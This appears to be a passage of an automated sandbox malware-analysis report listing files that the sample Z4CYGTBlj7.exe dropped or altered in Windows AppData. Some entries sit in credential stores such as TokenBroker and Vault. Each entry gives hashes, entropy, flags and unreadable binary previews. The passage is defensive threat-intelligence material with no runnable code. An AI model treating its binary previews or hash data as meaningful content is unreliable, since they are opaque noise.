Preview:	{.".To..hcI.....O.H6.A.=NZ.x~c...cj..reC...P...0.N(.6.{.>..r}.e....#r.c.x. ..0.h.A...tD... :..<1....o~..~.C....b..%.ne[....?.jy.5ZFQ0...w...Q o6c&..r..._. ............k.S:.-....zL.R.H.t.a..M.."..]Cd.....g3....0W.o^s...+.pkpS[.=\..^o.?........i\|e..[.y...sm...K-.NG..;b6..p.Z.zA.Q.....9..4!X....[~@;....u.a...c....1...+M.....l..j...-.`.L.yR3u...1r.z.o...q..#...m.?.B...Ve...{Bz.T.+.g.....y.rYR...]..I.2(>65DE.....e....w....KjQ18..@....G..{.G.K?...7:8.%}.+....{MO.....s...p......c..=.7."4.T....Z........m5..@...~.Y.Z...........$S.P,..SM.. ......\.u....7..u.G3G.m.....r......1.S..N2I&.n.f.b.3$Q.........<,N.4(/S....4......^.I......C.....g...e%YW..)6.U.-9.z........(.N.h..'?3.>?e.KD..F;.....Q...7{.g\.A*D.\.......g...R.Xd.O^....E.-.....xyf..KQ..q.............ZD..o.w...!.j.........]......t..7."R..\|...T.I...K.Ae..c....o]...w..PE.. ..8..._..Y..HJBn..4.7...J3..C:X..OM..h..#/...p.~..:.xO...C...:.7.r..fA.n....^h...t..k...J...Af.:e..kO...L..'....7e...Wi..1T

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\f036564d8b727dbe99499799c7e51936a642f62a.tbres

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.923915277632476
Encrypted:	false
SSDEEP:	48:G5+h0dJtsJNhSCa2EjCDh3Wr8ZI0AUKfA7/ev7YquRwmD:8+hcCaTAlWs/AJfo3quW+
MD5:	2F48C113CD0760CE5E27E8A34205F2BA
SHA1:	3F1EAB7177286B0B8A3060278E88677309DEA205
SHA-256:	5982D27DCF36E30C67BEB061AC2FA4713A32A7317BA2E069D0040BC33A0711F5
SHA-512:	7E2499A5B3C804C31FE236F10AE5C21B8CD627818D2F00F542652DE4C92056086D4104F4925C401920DD00D5D3747C560718FA45C6CE84EE1355B96F42AA3FE8
Malicious:	false
Preview:	{.".T.c4...4..}".D.Y..,.....AV6..J'd$Z9...3.R.a......]......u.\|....f.W..^..^...1.}C..@..w.P...v/.........6.;.n.QY.9...`a ...a3l.bG..8s^..;{.5../..s..J........k7.......%F...D.+5w.R...Z.k.f.z0..9}.......x\)n..r......3p.2%....W[N..c..Y..~....=`.aE.R..U.&/.....OO._<.%.e..N..NI.v.9V.$...ncU....g....r.Lk3.g!5.p/._%..\.l.e<..9!.#.3...n...\..e......i.}Q:..Roo.;..#p.........;......_l.........Qm.g.....[..)gK.)^.ozT...E.oUj....N..cK..0..M..-.B..Rp.)..Z.V"w.&\|.".....q.\7.>.2.R......h....nAR.P.\|6mT.I>..._.......-.:.A.;.mv.h....?.........]...5....ZC...1..N.W\|..^.D.M...S...m..y..CZ.D.`..f..S!.Q...#(B...".W.C#.5;3.}.CX..#/.<d.1.~..).>..-xe.....Hc,.....g9.R.MQ....x..3...../..k.o<d[Yv.K..).7.....}wl.5.I.E)..s.5..+...!c.-.}...+..0...:c<.'W.....b..q..p-..Q....^......E..8.1...8...N[k.$.mr..\.Y...D._l...;,:......u...=PqH.R-../..QY.....;..pA..H.k..$-....ii.....X..R.]..^...p.`\....Wr...W..6..?.d.}.......'.B;M.z.ZD.m.....c,.c...9....e....d...\|.-.4\b...#...X\.*

C:\Users\user\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28\Policy.vpol

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	770
Entropy (8bit):	7.729083603905933
Encrypted:	false
SSDEEP:	24:MCvZOwTFJKYuiqCVNpR0SFEEpYH1ttntsbD:MCvZOwDKYu0Vu4eVjntmD
MD5:	FDBE11CDB32F17A27ECDE6FCDCF22EBD
SHA1:	49027C79E9401AC19E9051EA4DEA82E6C2BDC2DC
SHA-256:	4CF828A499CBDF1060A044EB4F94A2D26B58CE06D392C15527C71B13E8E1C09D
SHA-512:	AF34997914D94C2D89F795EEEE7A33B6DB99CEA082FE675ECFADFE54E6343550E278FBC2B440E20FFDF71AC791BE1EF881E6F9A7468F40140478F3F25DB3DB3D
Malicious:	false
Preview:	....B.y'..o..~..R.....)/...O.n.N~...F.&kv.}..6.o0Z.\|..zf.s}.d..Y...#..?....L....g...b...-....[...P.....a..UI,.r:a...s...c.@S7..`.Y..2-...7....)....(.R..Z."..+r... ............5o.....7;l..K2>.as......y..-.0........L.i..."7..pb.U.6Z..n.O.m.-...N...#.4`.^\|.L.t..k.....).....6....$.z8.....;....xI..I..'..\.?1.BY<P$..#.@.@.4[..L.-...;..........0,..;.).7.c...Aq..l...D..i.e.....6..B3E..@..,.a.L.)..H....Z.....c..J....(!.U....W....5G.m..8.....-..jR...#....@2/^15K..F.......y.%Os.!y.+Y.=.7.0.Z=YAQ..4...-./.Ca...M. D.<..&.K..4\|.......4..qP-...u.E:..Kt..y.....%..n.V.....f4..U..9..O.....h..s.7...Yf...+.L..CN.....1..ZTZ..k....*......3.c....9.Y.18p.ORw."../..]..F.F8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\2057\StructuredQuerySchema.bin

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	424152
Entropy (8bit):	6.33095884742367
Encrypted:	false
SSDEEP:	6144:vqaG2E3vba+7qHZCRb3fcDm+vyJfbnQkK96B88yKv4bWTmTvEiLSA:M2EDd7qgUm+6dF4/P
MD5:	CC695735BCC60C4105195E55822F559F
SHA1:	9A5C5E41A8DD404AF22286F6192C8AE409EB4CE6
SHA-256:	80FE2E129404167B47BB2A36051681426FD7B63DB6CE9318E2AA2CA401FBA37B
SHA-512:	875FBF7E2C8458BBFCD941D64B23AF88B62C22F20DA9D666667ACEDAF9326FE3B59C1DCE12C9B5DA068D9BE4D4C433572CED4EB8E1EA9179F2C1EE38B1D89760
Malicious:	false
Preview:	...P.Ii...1..d+....J..q..j.....L.....q.M.3.9.~'uu.......`].....:.T...dh^3.Xt.a...e.h....#6.Q.a,..1,..E.6!.<9......[.8..roOo\2...Q..(..Q) .RVW.K..N..wW....n.....~...c......SB..-GV).f].6...8jc.....W..k..~\[0.i.#8%...$s]o._\..>($.}.H.$........lln4...U~.....N.W..(..F..:...I..@.$.\.....V..#...=.....z....\...>$....7.F.4.eB.9..""..E ....#w...1y?$V.....a[t...><{...1.ur.....K..DO..U..r..D..S.I...4%...':.....Z>.-.E.Sg@.{._..\|ze.D.....V.N......9x...h....G.N..2...2.P.+d.z;..Eg...M......'.8M+...t.....X.P.e.R#j..p....'8(.Dd}...'..@t.k.i.'...^c5~......;..d.....a.q5..)U.B..!.&..q&........s.._.K.G...._......L.......Z,..y!.H..y.L....mgq..H.a....... \|U`..un.(,.V..uf.`.:...U..#..`?.e.).j.......OX.R..E..^..6....o9.G..H...mj....w.......GLC(j.[...j4&0..2...Q..-.........AD16.......w........`.......Q.a..B@..bW...v..8.43R<.O.6.....#..)$.........A.=C.? .e.'.......".c".R.<..g..........G.[.._.[....4.........a."........Q.....h..9..z.h.w..\|-.!x..K..2O.e..Hl....

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.1.db

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988941024267246
Encrypted:	false
SSDEEP:	384:/PbvDft/SgD1MH3lztpR+z/++g4G40OoGq:/74c1M5h+zmlTnOg
MD5:	EA7C640E2CC29852A4DB3AE1309045B7
SHA1:	65859D9721FD8E680D67688E191EB6F93D46C403
SHA-256:	107FFA488DF107FC60362925EB547F2FE2B47263883627B17B36D7E762A1CF7A
SHA-512:	04E52F10010A1A990DC423F3C70E559BF51C0C94EDCC8E8FAF7C87A6EF41A065C776DD2118AE05D8CD6C5F0B6C3769798CAFE61FCDBD1B7D92A4337A95258634
Malicious:	false
Preview:	.... ...8..d....4r.......L\|}.g$1.I?P.g.K...[(;.^.T.......yZ.A.a.. .=..G.9.........W7[.?P..g;...V...}.v....l.]......5LOK..C@.%...:..\|C.Jb..U.@..n/7........Sa{&.....'......B0.A6..r....p.-Q....PBL.:KK.....g..Cv.L..C}bT.2.....z.........A..88ru)(..U.c......N...G.}.Fg.x..I..t...v.Tk.rU......}0.C...-.q5z6...E....v....aLW.'q.g......1&v.}.-..D..\s..l'#..a.(}.d6......gS1..rz.....[....Y..zCi/mt..X.....n.......$.1.y..u.c..N....!gu....V.J.`y:ocEN.M.U........B..,.A......<..:..........sZ.TG.Pp.h.j..C....P.TC1..$.A......j...?.....u.zKI..` .s...a...{..{0.v.].\..~.u..!..1.g...#.9.....!L..O+.M.O...eo...N..'.Cc...d.).\|[Ym....... >\..@....D../+!7.+b....y_..L....Ur..`...i6...N$=@.</.._.1..-.>#...M$...js...E.{....._^...$.....%..l......=...L...f.\..[...n.[.C..H.8.c....MW.V....!"~..y$%c+..j4.\..v+.9i=...s.KM.b"...\|....?V........N..O]..xyF.w.o.......0.{f.g......5.].o.n=...c.==....j.]..w.7..\.....W..[....}8Cl.hA.j_.....7....Q..1.Z.x.4...4..9MOAj..._z).n.[..i..v(

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.3.db

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.99010189692853
Encrypted:	true
SSDEEP:	384:fIG5WGKWZn6zKAOrsVylxy9dfazuRT0ruqZX8Du4vtYrWKfSrLPigV:AGQGHZ6vOmylmK2fqZX81vCZ+
MD5:	D9866420EF907E90A74B8496C902B753
SHA1:	C1B9475E0AB5D46371D883207F7F5480980088F4
SHA-256:	29291D281DDEF609A2F319A821B5008A6A0F3AA1898D42AB2E5F289E3FE7C0D4
SHA-512:	0D0CEA801A37D75A5B7A24F0FA0B1D1093D608C3E371557274040B09D2D64F1F15EDB78276A91AF0DCAAECCE172215782677DEA3FEE0A2D3540DBED7D7B2475D
Malicious:	true
Preview:	....`...{7.l....xti.@.cu0mX.8.w....hRS.G..\|...2...&C.B9..i2.>a....y....x-V.........0B.#.w...6p.t...9_.+....' .]......,..@..pa}...3..9..J4.\....u..:..Z}d..Y.?I.V'.K.5....rxX.RV.....85....KH.Z..?.s'..$p..<...}..d.{.H...'..p..7.$B.....^......2$.....]..NV...m8.......5.\|.+(.Ati~..).H.}5.....[&)./.A..Z..('I......-.4r.'........d];..Dgr..Fx..\>....Sx9..2.X.!...O+..2.....X.-..u.'\|.:t:.......Cj..xy....{%V..U.......$...3.<..~.a.o..k..W.~...%..IZ%3..3................:b....cC_..(o.U...M8......>.)...I.....Y&^L...B.m.......$.0.8......8k..w/....$...>8....L..r.U..2.:/)P1.H=.G.......Fm@9.+./...ME.. c.c.u.Y....@p..\|...Ad-.&.A..0&.."].........'.9...'4.....\|.Z.z.......RB...1D...C"..{.1.}.4.b..f.4...+b..~.,t.j..2.(Hpat.O-...E......3.T..].9..G+0...0.D.w6+.xP......N-B...n.jI..TI.G..VA....eCp.l....a...O..S....z...P_.)...C...%#.....Z.N6......... ..Ui.>.-.F..F......:4}..w.-..dh.Y..7BY.\n.......M4,.*...Nc^..Q.....Rt...t.lM.g..b..)#.A(...aF@[....N....'

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{2135BB99-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	424190
Entropy (8bit):	6.332718764768605
Encrypted:	false
SSDEEP:	6144:lqc8fBMJxwW/65RZt4P9sWE+nm+vyJfbnQkK96B88yKv4bWTmTvEiLSw:lDgmoW/674lsSnm+6dF4/L
MD5:	4D328A5434310263C664BC5C3D08535B
SHA1:	82B7A9B835BDC0ABC58CB841D3602ADECAF2B4D1
SHA-256:	A168BFA4A4AC4D1337A96F674745E0ADAA0021A51E7D5D8A104F8E472A955FD6
SHA-512:	2BF766E677142DDCF1DE7BEECDA774407DE09FC415DB3BC6E4F8947F94B7449BFBE52FD04FEC41D0B968D46A08DF8C9D1617EA7AE3445E348FE9A985203C1BAF
Malicious:	false
Preview:	.w.. U...p,..S.N..%p. .=x..."o.SA....2V.I2F.]U..5.%.....D.#..3..L..2..qT.........OVM.ld[.....5..,....>M...}I..,.P..........48c!....eLh..>.....u>.....O....a...l,.m....3.g...._..Y..G....X.?}T........>..-...jt......q..(b...O..V..xa.[\.....>.S&........dv....14[G.-.#.#.3]..):..R..NT.id....U..f..6/...eM....{11.Wk..D.}..6..Z}Jw.......Z.h5....ZP.D/.)\|J....Dm...D.Ms.\`..0!...g..{.......j...t..>..t..`(....:V..t..X...F.l..RK.@....`O"Bn..hU.e~.{..}:g_...ETH..u...zU.......]<M...)G..U........Qe...X.t.ye..7.C.x..K..=...YfwEr..y.v%I.....9..A.q'"...yM%..Gy..n..8..x.t.8..................gY\|-m../....L}..$.2..[~...z...!...4.gf....B=.....F@............,..^.)\#O..~T.7.gq/.sA......YAP1O#z.w.j&..=b.............n...P.s.3....E.Jn.9..!..\|'.N.U.ME...A.#...2...tWnc..3?+..U9....#X.V...-.._..SV....<BX..0.v..Z._Sxt.}..../bN.*Pz...../....ih.lEb..t~....q....!..aA0Ky{u....n.R.#^..?.Sg]=.6a....p;..Gb1..jl:./h...D...WoRj%Y.(.S.a.:.kJ9.. .t....2.mC.U.B%...QR......y.

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000012.db

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	104062
Entropy (8bit):	7.99805926483212
Encrypted:	true
SSDEEP:	3072:gOjp7LUyNWXlbfV5MjwofC4EeQ7uS/nbJ7FvMJ:VV7psnMjwofC4EHZxc
MD5:	A05ADD074EE8B9BD4EAA0F509FF94F26
SHA1:	9861EDBEFC900F2FBBDE4BCAA68F03E2C593B5D1
SHA-256:	C439811DB77D1EC06F73C2618E08C7B9B1EE38E3677E6A2F11889A232508474B
SHA-512:	D568AE143394FE1411601EFBE7B16582FFB2346A21E2F1ACC5C8123C0EA993273AD542F3834810F205AD5844CCD422F8F632B21AE4DBA3375C063B17D9AA677D
Malicious:	true
Preview:	....h...c.>.N.c..h`..T.##.(....m.b o...M...h.c.b.....i.^...>...Th...F....w.8D.+...KJ.......Sk.....Q...s...w.v+.>b.>V. .^.?.._A/....e.pi.Na.4Kc..7.?.....~...L...."G........nw.....'.o..I.X.3d;....<.L.m.hj....b...7.6i.]I...C..].P..{;.c..@.l..p.-.JT~....h0{{m%..".]...h.7.K\.......,.3.g{..^.e.D.TFrx.......=...$...v...SU.....]..._.).n...C....o.....XZ......i#...^G..+.o......D.+...Z.,..Y..&..j...I..Z{J....2......^. .N .T.........\.>W{.EC...Y.."^L+..6..:c.3.+g.f.?.e.....cxV4....\..:..Qx.....7.....k.;a..j..2....Y...pf.K.ys."r.0.$.W....M..L/...&.....>.....!..I....q.....K$....8x..N..Y..!.qt...}6\|....ll....y.b.~H....]..j2.1.#..(~..?.YU.x.\.v.b.\|.PaQ.k.u.....F8...L........a.R.s..8g...L..~k8..{zF"'` ..b.hK...d7+I."...;.h.@........r.J.....f..J.N.......V...._iA.w0h.......N.Mew.~....l.0.....Nm.a...R.s.9U_.U...c.,..rL....ou..',8#.;.u@...8...Pb\|.W&....3v..?.(z..AGi..EQ.*}...s.!....E.L.'/...t..3V...0.9.2w..`....f.........V..uBM%...j-O..".<....&..

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000013.db

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	102814
Entropy (8bit):	7.998217019009836
Encrypted:	true
SSDEEP:	1536:LOlcqgXSm0kig3sBbPAahfKi3QTyFq6fkMwJFVEAXvel6d1ZbSyZALEb1uWsY:KZeSm00GPAahzGyFbfmf9POLKuY
MD5:	AAADD565B4DEAC65E3A0DB8260430490
SHA1:	067AD7FA026A5213DE6A08E2B7A0D13024C77B48
SHA-256:	1E154C4C793BA536D5CB19C9F429FEA0990B4905A68CE10713AEBFADE639D977
SHA-512:	F6CB99C0D2C0C684AFCD1141430B63886E9CCD8D5C06031D3760D2A5AEA751767379B1A898C008AA82C75CD9027E52BF50AD239A2367F311C27ECDD6EDA3ABEB
Malicious:	true
Preview:	....hb......u.@.%.7.u_.........<....4\|.<T1.....Q.\...eQc..I....+...s....{....".....Qd...eg.x.cq.G.q......;d.q..'USf....q".,..]<..e.......MWb<o.2FO....."d....R...[Q.YY....n..A....A...A.X.MC.. ...:..,..A..j.1.wu....X.8B.4..>+3....[....@{....WG!6\....Rw..c..<..I..U..aA.>m.B.j...\..A.t.-koQ..&r....%..7(...-U...'.j#.</...^^..~(...S-.o.`W....9Da..y.(.4..j;.WX..N..5u%....-.S......fa..6"M.....OJ.Z......E.g?.....c>{..@....=.X}x.........{#.l......^.:-.X........y.'L...z.sH.4f...'^.P..e`dw.........'^..V&...........u...H..X4[.a&..j...5..........fX.....*.\|..{..E}:.AtFn(.qp..-..r....g....F..L...+...[Fu.\p.M..?wK.%....y.W...@#R..m.=)....;..y<1....[1^.8..c+..p.F..8]......g9..p...4.M......uk.Kt....>....2k.D..>...k?.. m.].x.#.o.........\|.0...?....p..i..{W...2.Z.!.>~..........i.U.8.xQ..u...z..Y.G.+......(...L..7.< ...b.;....4._k......A..UAI....."..k..........\|[...fk..%p0N.h....W.yn.....+T@a$.......D..~W5..'.>.+3.d.......\|.X5..7...]..[.p.........#.D..

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	75398
Entropy (8bit):	7.997147748989084
Encrypted:	true
SSDEEP:	1536:DpM5+54PMC7jreoRfoSeProFDYWIgxSKo8u0YFC2WRStflE:DpM5+9C7jreoRfo/segxSKodwgG
MD5:	3AC45E593ED24640DBC0AA90F2101F81
SHA1:	81C3E6C3B11DC66FAF6F8A72DF56DCDB699F70B5
SHA-256:	03217C19D54A5EC45CAD487424A137543877345ECF264CFEAF172FC295B87648
SHA-512:	310072C734F7BC7F8BA27419806D34A385B85035A2F2AB8C8E4D2FADF89036B1998489BCA3A9E2093C7E240C69E6997508C6B28B0A6352B50D9ADF91FC2F3C61
Malicious:	true
Preview:	.......A._3..p..8...Ul>..hGz.XIr....y.........T..P#.M.......k5.t..Z....k4_.=[.d..2.Lw.#.@5.....I....Y.Lp:...R.ke9.XWn..C.W...._...RZ3.b..6.j.m.y..r5.apO..`I...<....wC....+...;Zz.....N.}.f..c..l1]..@..!.cb..f,UF..f.k.g..7..bR...S.h+-.9..~...@...G.6.;....l.Z.M.Mz...5.e.9'O.r.S.?..._,.......`....r.[b..\|^....D..J@..F._l.....^-..m.r.pFW...M....c.....=T....Jm.0.~.}.>P...........n.~"..u....1.!...f......sw.K.N.Hk.#.d.v.+y........\.Vp...%.1.H,...tqB>...^.d.....?q..3..&/-......6I...c....`.1~...q..Jc_......xR...D..u,../......B.Q=...i..2zh..F.R......>.RW}.w.84OZ.=..US..H U.G...x{5.2..C.f."..j, ).<...Y.I.FKo..V.HfD...?..L.......C.v..#.@<...QpcA....y5...R.>.E0.YkX...U.!........f.k~m%..5>....\|.g.f.o4...3$uq\|.A....6H6..H.'..A..,LV...M.....n.TJ`.9..}$.u.&..u.....5...C.k... 8..a&..%.)7.:A....=..5p.-.....G.....T.1.;%....>...N...%[X...Z<..O&N..."....T.....%..yQ .G.j.*..EV.dzS..A.ZA....o..XM.p....;. .-H...N...-..<.VYaL....?.....k.ua...RD}:..pi

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000005.db

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	105318
Entropy (8bit):	7.998285131025154
Encrypted:	true
SSDEEP:	3072:Ip1/YW4P+KAJ9+N0J3fq0B3urofcIBef12fr:Q1QZPSAOSK+rokIBefMr
MD5:	3F1432E23CF1BC02155406A7E09631CE
SHA1:	E9884D6C86F861558DEACCEDDCB769E801D79505
SHA-256:	A086900815C79AB060C2B16D6006262607BC53F079071F29C3B5BAD94BF999A7
SHA-512:	B9D461E4972310B299BAE584323F5F635E38821D9B190C4B0C2A31F8E21432BA25FA5A098E1DD0A6C7B5965B485D97509FB71124DC846C1C98C8E24FDA358A1E
Malicious:	true
Preview:	.... ..Cx...L....{.&e..le.!.maff.Z.>k.:...w._.^y9.2<....$....&..U..IC..\}..O.tF.Km.......".....<b.r.lU........Q..wh.....{p/..G.5...^.kJ.$....5....y.~..w.unAKEU..k....G.vY......G.1L..c.q......&[U.Gl..k;.Mv._..".YdA.../..s.A.r8...7.).I...?Q......2...O.......p.#.....I.....fd..{.\Uz...J..m.(W<..(C......Zu..(......8...;..3..N.../V\|A.W.5.E'.u.._G.c..D:... ....+_........G..K...=....R8.{z.......)...S8...`.P.uB........Dr..Cw..fZK4.^k.+!....;......k.N.$.<..?.d.5q...>..K...@...H....g`8P. ..}.....l.u........ZvGac.....A:.'T..`G<.RA(.N..-..&_.CJ.kxa.)x....c.M.Ah....D.c>............vuQ..Kh_.....&N.).X.......?m;..AFa...C......?.........o..(1.....M...T..8..N2.G.....d....}...S..l.\|......PP..W...Y/.Jr.f.$.....$r....M.....$...PU......t>..=.Z^..m...IP...N c.I<W..e5..(.w...[A'.Z.......hn.RG5bIY~.4..=.5./.u^.1K...':..(H.C..tR;.H........K.)....Ua....X...Q.<.q.b....L.A.ovkK+..^o._9....Y...K..._.x_mod\..E..n;.K.R)u=U...\|.t.v.sY.......w*=..B.7@.rDRHgj...Mt^._.....[

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog.etl

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	581966
Entropy (8bit):	5.738793540507407
Encrypted:	false
SSDEEP:	6144:y6T6vUK9eOwjVElVzYXXGpH90FiNa1mYSOb9S:y66vZ9pZzYXa+FiNGmpP
MD5:	D5C2431918B7AFC64BDF82EB2A3909E5
SHA1:	F9700B2FAED687A87B628872B73378358EC6E0AB
SHA-256:	7A2E86E20595A9CD633E4F91062827BECD0824A604A12C3994CFDC3C3055FAA4
SHA-512:	0195A68DB886DD80BDF0BA8E5EDC8CC0F46B018F7B2CD394B5918DFABB48B32A8D279FDF5559A14EBF993DBF111CA20C0D5C5D7F4709F90D102AF674144CD143
Malicious:	false
Preview:	. .....d..6.x._...%.....}v.9...y...2.M.....^H....\@A............a.dM....q...:&@x...........X..E..i........x....:..[chR.......e.S.Q.O.;.G.x..0.Wk../......{F]..+....R.@8X.g...c.}.w.A.[~K".Il....db.R9..86.w..!..-.........V.X.{.g.y).N.#.M.X....o..y`.e.].T%...y5..Al......P....W...SC.q.2......7..z.SF.3.S.v..r.0...dx.M...i......n."...+M.%.j..j......QH7T..Fw.5oDB....N.S.>.u...6~E.'.eC,r....I...X+...6...kJ...\|2.4...!n..XU._.E.y...<]t<u.R4....'...Y.^-.O.2..zn....C....#...+...]..H;.?Lm..L....\|n...cX......D^+...?.Z6:..$.9.gj8.Q..{.+..W.G..J/..5..DR.E..Y..V`t.L...pv<....4dG..V..:}.`p\| .!N.4..L.gI....2p..a</P[.*?.&q...9...R........#...................5..j..B..y..1.^.....8 .nPi..k...v.......&....5...-h,..r.T<{..gO5(...7J...vu.y...nu..R.5....#.._,...Q...'H.Bl.L.&,..h".d.i.Q.....o..Jh{CA;.jR...4.K..)@.6.r4.#....N~..;v....l.u.y....F0.P.v..7/.\.......Z...<.._d5]...D.e..y.ey...T+3..zHZH.'.!.2..1..J..D.+...P.w....~0^k..q...i...y...../...u....K,..R.J.G..

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992784581764075
Encrypted:	true
SSDEEP:	768:ssT3vUT7bj44F6M1vUREAH7QjnCffT50IS:ZTcrMOtvAbanml9S
MD5:	8B76C3AA9948A29C45BBFAAD4CCB788D
SHA1:	4548595EB5584B45BD3E974E96549FCC02397418
SHA-256:	BAD62362735D0DE8AFF07B6D805446DACE6CCB0CB5846AE524FE393F55E1FC9C
SHA-512:	D26FE9DC20BCEB4373AA82E1EBCEE7124139528C2FB30043AAFAF5E839E54D964ECE4AB1D82C0CFED142B5E4351E2ECCDC3BF063A14241AF84C5C885E8F33926
Malicious:	true
Preview:	. ........DpC~..+Q9....a.....nh.#8.(.,.9g..P...=r.G...r.!i.....c..Np.[.....T...U...:..@....C"x...m.y<..ae..i}.A..%..I.+#O.'..g........M[]X..z.'J.\|.....~."...J...v.Jg..E.~f.../-n.\L,...c3.a.cM+...........^X..6$km..%.(.....W.Q;.V.L../Qp.u...c........;....9....z^m......O..K...m.,G.\|f9..ww4.7.4.@.......~d.R.=.......F........G...........Y.U..1p/....PK.G.x...O.....W.SI=.yJ....A.m.lPt.<.c5..g....%.Q..<.c0...L<.}.d6.'4,Bo..*cL.=5..s.<.j~8z.K;u.!..../\..~.n..o..=....{>=..Q6.X..Y;zv%f..._..,K7.@....:..;7.v.$..b..>._R).......i7....e\|.u...#A..-.P:YC..G.i.....V..=..w.."N.Ll..g01....a .]..,.U..\|..+...-...F.:....Q...."J.#.....^E....lT..H......N._.....0.`..l.x...Q%c..3h.....C.:.Jot..$U\|.L..4.YH9T..A#z.,9...#.z9..Ss+.,.x.%...^._=a...ig..m.....F...z...5.N"...ui\...'4]'....?.>...h)...N.OP...S.W0G 2...b.a..u3.5O-"......z..pYpc!...A .tc)..(...7`.\D.C.8J!..`{..?.Q..9.lp.+LP...:.NI....../FH..eB.#....H~....'..8w/Q....P.3.4O\..E ....!Cm..aD.z.t

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_1280.db

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.265250284467097
Encrypted:	false
SSDEEP:	6:ki8XkuDf5xGC4NyQgjQTyaFu5/hFpjkOw8psDEmjKQW3cii96Z:kXXkxC4gQmQ5+h48pEjKQscii9a
MD5:	1180F613C4D910695C36A7EB69A14085
SHA1:	18890E834A4FB912FDE87DD95B9C552358CAC0C6
SHA-256:	EADE73980AA229550704798895D3907B1BA3A810BF86B8CB435FF4B16736782E
SHA-512:	DD36C1FB60BC51AF99BBA8224B23395F77F17EED8BAC15605E9B3C2B6108E901BB064B26318FC29AC4F748CA11E0B37CD06C40F7DC1C057EFA3FF3C6D268B5ED
Malicious:	false
Preview:	CMMM x..&`.w.. .s.B......7hU.....C>......Q.0...f\..:..q.-.A.q..a<.#..!Y..nns......*.4:/.(.7!...?.).F....b..k.b8]......\|........\...'f..]K..I...}.[9^w...8.W..;...`o.o........j..T.....=3m..;%..........h..(..M../.T0..8....;6...6.5e.z..M.IhO@5O...z..q<..#...Q........2d...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_1920.db

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.273269182241613
Encrypted:	false
SSDEEP:	6:V5u++pbwfRUFXW+FOcUBWM7g1Bh1cRJPvDS4GiRuQW3cii96Z:jCsUJ301BWM7g2vuQscii9a
MD5:	4DEC49EACB81386E4307A2B134A3EAA3
SHA1:	271907EB89E5D3F5962AC66E68A886D84EE664EA
SHA-256:	C9C1F48434A364EAF9280E663803A5C44D75E377F8AC8996F11A125C856607D8
SHA-512:	A96B8CCE382FF43B4E5EDC9759F3F4025DADC631290CA837B45C77F12C476EE9A2147E4123C354EE390DAB670E5D955551098266E67A747844B0421A041C7256
Malicious:	false
Preview:	CMMM .^U..(~c...+..'.!eU.s."+......".$..^.j.B......2.!..l. ..*..QK.G......Q..J^.4..l...!/cL.#+..]Y(.~...q.b.C...Q.3a.z.1. ..m.!k...p...$3.....J.^.y..Z.q.:.?6Pw..$..\........n.T,.]Y.L"#..>.y..9.."dml..2+...$.p.#..-....\.Ozm.p.6mM.`.w..cy...%....[<...}.0Z.@K@..[......8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_2560.db

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.299626000909714
Encrypted:	false
